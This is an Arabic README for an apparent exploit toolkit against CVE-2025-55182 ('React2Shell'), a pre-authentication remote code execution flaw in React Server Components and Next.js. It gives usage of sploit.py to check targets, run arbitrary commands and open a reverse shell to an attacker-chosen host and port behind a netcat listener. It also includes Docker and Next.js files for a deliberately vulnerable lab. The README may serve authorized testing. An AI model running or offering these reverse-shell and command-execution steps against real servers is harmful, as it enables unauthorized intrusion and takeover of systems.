
مجموعة أدوات بسيطة للتحقق من ثغرة RCE الخاصة بـ react2Shell عبر Next.js واستغلالها والحصول على شل تفاعلي.
[!WARNING] هذه الأداة مخصَّصة للاختبار المصرَّح به والأغراض التعليمية فقط. الوصول غير المصرَّح به إلى الشبكات واستخراج البيانات أمران غير قانونيين. يتحمَّل المستخدمون مسؤولية التأكد من حصولهم على التصريح المناسب قبل استخدام هذه الأداة على أي شبكة.
يحتوي هذا المستودع على مجموعة أدوات بسيطة للتحقق من CVE-2025-55182 واستغلالها والحصول على قشرة تفاعلية من خلالها، وهي المعروفة أيضًا باسم React2Shell. وهي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) قبل المصادقة في مكوّنات خادم React (React Server Components - RSC)، وتؤثر على الإصدارات 19.0.0 و19.1.0 و19.1.1 و19.2.0.
تنبع الثغرة من إلغاء تسلسل غير آمن في بروتوكول Flight الخاص بـ React، مما يسمح للمهاجمين غير المصادَق عليهم بتنفيذ تعليمات برمجية عشوائية على الخوادم المعرَّضة. تم الكشف عنها في 3 ديسمبر 2025، وحصلت على درجة CVSS 10.0 (حرجة). ورغم أنها تؤثر في المقام الأول على مكوّنات خادم React، إلا أن لها تداعيات على أُطر عمل مثل Next.js التي تستخدم RSC.
ملاحظة: هذه المجموعة مخصَّصة للأغراض التعليمية والبحثية فقط. الاستغلال غير المصرَّح به للثغرات أمر غير قانوني وغير أخلاقي. استخدمها بمسؤولية وعلى الأنظمة التي تملكها أو التي لديك إذن صريح لاختبارها فقط.
لمزيد من التفاصيل، راجع النشرات الاستشارية الرسمية:
requests، argparse (التثبيت عبر pip install -r requirements.txt)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
البرنامج النصي الرئيسي هو sploit.py. شغّله بالخيارات التالية:
python sploit.py --help
--target <URL>: عنوان الهدف (مثل http://vulnerable-site.com).--mode <validate|sploit|shell>: وضع التشغيل.
validate: فحص الثغرة دون استغلال.sploit: تنفيذ أمر مخصص.shell: إنشاء قشرة عكسية تفاعلية.--command <CMD>: الأمر المراد تنفيذه (مطلوب لوضع sploit).--lhost <IP>: المضيف المحلي للقشرة العكسية (مطلوب لوضع shell).--lport <PORT>: المنفذ المحلي للقشرة العكسية (الافتراضي: 4444).التحقق من الثغرة:
python sploit.py --target http://example.com --mode validate
الاستغلال مع تنفيذ الأوامر:
python sploit.py --target http://example.com --mode sploit --command "whoami"
الحصول على قشرة تفاعلية:
أولًا، جهّز مستمعًا (مثل nc -lvnp 4444)، ثم:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
لمزيد من التعمق التقني:
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell lab is running!</h1>
<p>Start sploiting → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# Copy only package files first (better caching)
COPY package*.json ./
# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps
# Copy the rest of the app
COPY . .
# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json
# Build the Next.js app
RUN npm run build
# Expose port
EXPOSE 3000
# Start the app
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
→ http://localhost:3000لقد انتهيت. تبدأ الحاوية في <2 ثانية وهي جاهزة لسلاسل تسميم النموذج الأولي (prototype pollution) → RCE chains.سطر واحد اختياري لتدمير الحاوية وإعادة تشغيلها في أي وقت:bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
راجع AWS Security Blog للحصول على معلومات التهديدات.
هذه الأداة مُقدَّمة «كما هي» دون أي ضمان. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج عن هذه المجموعة. احصل دائمًا على الإذن قبل اختبار أي ثغرات.
طلبات السحب (Pull requests) مرحَّب بها! بالنسبة للتغييرات الكبيرة، يرجى فتح issue أولًا.
هذا المشروع مرخَّص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.
